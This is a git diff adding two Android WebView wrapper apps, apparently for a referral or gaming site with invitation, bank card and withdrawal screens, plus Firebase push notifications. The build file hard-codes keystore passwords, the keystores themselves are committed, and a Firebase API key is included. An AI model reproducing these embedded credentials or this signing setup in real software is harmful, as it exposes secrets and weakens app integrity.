newline at end of file diff --git a/maucuci/src/main/AndroidManifest.xml b/maucuci/src/main/AndroidManifest.xml new file mode 100644 index 0000000..02e1ac9 --- /dev/null +++ b/maucuci/src/main/AndroidManifest.xml @@ -0,0 +1,92 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/maucuci/src/main/java/com/xyz/maucuci/MainActivity.java b/maucuci/src/main/java/com/xyz/maucuci/MainActivity.java new file mode 100644 index 0000000..6eb725f --- /dev/null +++ b/maucuci/src/main/java/com/xyz/maucuci/MainActivity.java @@ -0,0 +1,82 @@ +package com.xyz.maucuci; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + initConfig(); + super.onCreate(savedInstanceState); + initWinwdowLogoConfig(); + registerFCM(); + } + + /** + * 注册FCM + */ + private void registerFCM() { + //订阅主题 + try { + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + }catch (Exception e){ + e.printStackTrace(); + } + } + + /** + * 用于修改大背景渐变色 不设置 + * 大背景就是 windows_color 的颜色 + * 不要动 都在 app_config.xml中修改 + */ + private void initWinwdowLogoConfig() { + setBackDrawables(R.drawable.big_bg); + setImageView(getString(R.string.is_round).equals("1")); + } + + /** + * 基础配置都在这里 + * 不要动 都在 app_config.xml中修改 + */ + private void initConfig() { + + //===========================以下是APP的配置信息 都写在 app_config.xml中================================== + userId = Integer.parseInt(getString(R.string.userId)); + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + saveString(this, "base_url",getString(R.string.base_url)); + //网页的底部NavigationBar颜色 + saveInt(this, "style_color_int", getColor(R.color.style_color)); + //页面的大背景颜色 + saveInt(this, "windows_color_int", getColor(R.color.windows_color)); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",Integer.parseInt(getString(R.string.is_white))); + //===========================以上是APP的配置信息 都写在 app_config.xml中================================== + } + + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/maucuci/src/main/java/com/xyz/maucuci/MyFirebaseMessageingService.java b/maucuci/src/main/java/com/xyz/maucuci/MyFirebaseMessageingService.java new file mode 100644 index 0000000..5ac257a --- /dev/null +++ b/maucuci/src/main/java/com/xyz/maucuci/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.maucuci; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/maucuci/src/main/java/com/xyz/maucuci/WebApplication.java b/maucuci/src/main/java/com/xyz/maucuci/WebApplication.java new file mode 100644 index 0000000..b5e2ef1 --- /dev/null +++ b/maucuci/src/main/java/com/xyz/maucuci/WebApplication.java @@ -0,0 +1,18 @@ +package com.xyz.maucuci; + +import android.app.Application; +import android.content.Context; + +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + } +} diff --git a/maucuci/src/main/res/drawable/big_bg.xml b/maucuci/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..2e41ced --- /dev/null +++ b/maucuci/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/maucuci/src/main/res/mipmap-xxhdpi/app_logo.png b/maucuci/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..eec102a Binary files /dev/null and b/maucuci/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/maucuci/src/main/res/mipmap-xxhdpi/maucuci.png b/maucuci/src/main/res/mipmap-xxhdpi/maucuci.png new file mode 100644 index 0000000..a67c23a Binary files /dev/null and b/maucuci/src/main/res/mipmap-xxhdpi/maucuci.png differ diff --git a/maucuci/src/main/res/values-en/strings.xml b/maucuci/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..7a00b5e --- /dev/null +++ b/maucuci/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/maucuci/src/main/res/values-night/themes.xml b/maucuci/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3475a91 --- /dev/null +++ b/maucuci/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/maucuci/src/main/res/values/app_config.xml b/maucuci/src/main/res/values/app_config.xml new file mode 100644 index 0000000..a048f02 --- /dev/null +++ b/maucuci/src/main/res/values/app_config.xml @@ -0,0 +1,18 @@ + + + + + MAUCUCI + + 230 + + https://maucuci.club/ + + 1 + + 0 + + #1251a1 + + #fdc002 + \ No newline at end of file diff --git a/maucuci/src/main/res/values/colors.xml b/maucuci/src/main/res/values/colors.xml new file mode 100644 index 0000000..a4e1222 --- /dev/null +++ b/maucuci/src/main/res/values/colors.xml @@ -0,0 +1,16 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #1251a1 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + \ No newline at end of file diff --git a/maucuci/src/main/res/values/strings.xml b/maucuci/src/main/res/values/strings.xml new file mode 100644 index 0000000..0ffb42d --- /dev/null +++ b/maucuci/src/main/res/values/strings.xml @@ -0,0 +1,53 @@ + + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + \ No newline at end of file diff --git a/maucuci/src/main/res/values/themes.xml b/maucuci/src/main/res/values/themes.xml new file mode 100644 index 0000000..8947801 --- /dev/null +++ b/maucuci/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/maucuci/src/main/res/xml/app_updater_paths.xml b/maucuci/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/maucuci/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/maucuci/src/main/res/xml/network_security_config.xml b/maucuci/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/maucuci/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/maucuci/src/main/res/xml/provider_paths.xml b/maucuci/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/maucuci/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/maucuci/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/maucuci/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/maucuci/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/megakaya77/.gitignore b/megakaya77/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/megakaya77/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/megakaya77/build.gradle b/megakaya77/build.gradle new file mode 100644 index 0000000..8e87407 --- /dev/null +++ b/megakaya77/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.megakaya77" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "megakaya77" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/megakaya77/google-services.json b/megakaya77/google-services.json new file mode 100644 index 0000000..a47bed6 --- /dev/null +++ b/megakaya77/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "342973050512", + "project_id": "megakaya77-9f81e", + "storage_bucket": "megakaya77-9f81e.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:342973050512:android:e16fea9bed04415d41f215", + "android_client_info": { + "package_name": "com.xyz.megakaya77" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCKyyyOmfmVa0bVMiEH4bzSI5u4eqk7z7k" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/megakaya77/justlet.jks b/megakaya77/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/megakaya77/justlet.jks differ diff --git a/megakaya77/ppn.jks b/megakaya77/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/megakaya77/ppn.jks differ diff --git a/megakaya77/proguard-rules.pro b/megakaya77/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/megakaya77/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/megakaya77/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/megakaya77/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/megakaya77/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/megakaya77/src/main/AndroidManifest.xml b/megakaya77/src/main/AndroidManifest.xml new file mode 100644 index 0000000..fa74f42 --- /dev/null +++ b/megakaya77/src/main/AndroidManifest.xml @@ -0,0 +1,99 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/megakaya77/src/main/java/com/xyz/megakaya77/MainActivity.java b/megakaya77/src/main/java/com/xyz/megakaya77/MainActivity.java new file mode 100644 index 0000000..d38feea --- /dev/null +++ b/megakaya77/src/main/java/com/xyz/megakaya77/MainActivity.java @@ -0,0 +1,57 @@ +package com.xyz.megakaya77; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 224; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://megakaya77.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#150606"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#000000"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + try { + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + }catch (Exception e){ + e.printStackTrace(); + } + + } + + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/megakaya77/src/main/java/com/xyz/megakaya77/MyFirebaseMessageingService.java b/megakaya77/src/main/java/com/xyz/megakaya77/MyFirebaseMessageingService.java new file mode 100644 index 0000000..a774fbe --- /dev/null +++ b/megakaya77/src/main/java/com/xyz/megakaya77/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.megakaya77; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/megakaya77/src/main/java/com/xyz/megakaya77/WebApplication.java b/megakaya77/src/main/java/com/xyz/megakaya77/WebApplication.java new file mode 100644 index 0000000..0ed6f32 --- /dev/null +++ b/megakaya77/src/main/java/com/xyz/megakaya77/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.megakaya77; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/megakaya77/src/main/res/drawable-anydpi/ic_action_back.xml b/megakaya77/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/megakaya77/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/megakaya77/src/main/res/drawable-hdpi/ic_action_back.png b/megakaya77/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/megakaya77/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/megakaya77/src/main/res/drawable-mdpi/ic_action_back.png b/megakaya77/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/megakaya77/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/megakaya77/src/main/res/drawable-v24/ic_launcher_foreground.xml b/megakaya77/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/megakaya77/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/drawable-xhdpi/ic_action_back.png b/megakaya77/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/megakaya77/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/megakaya77/src/main/res/drawable-xxhdpi/ic_action_back.png b/megakaya77/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/megakaya77/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/megakaya77/src/main/res/drawable/big_bg.xml b/megakaya77/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..19635a6 --- /dev/null +++ b/megakaya77/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/drawable/ic_launcher_background.xml b/megakaya77/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ 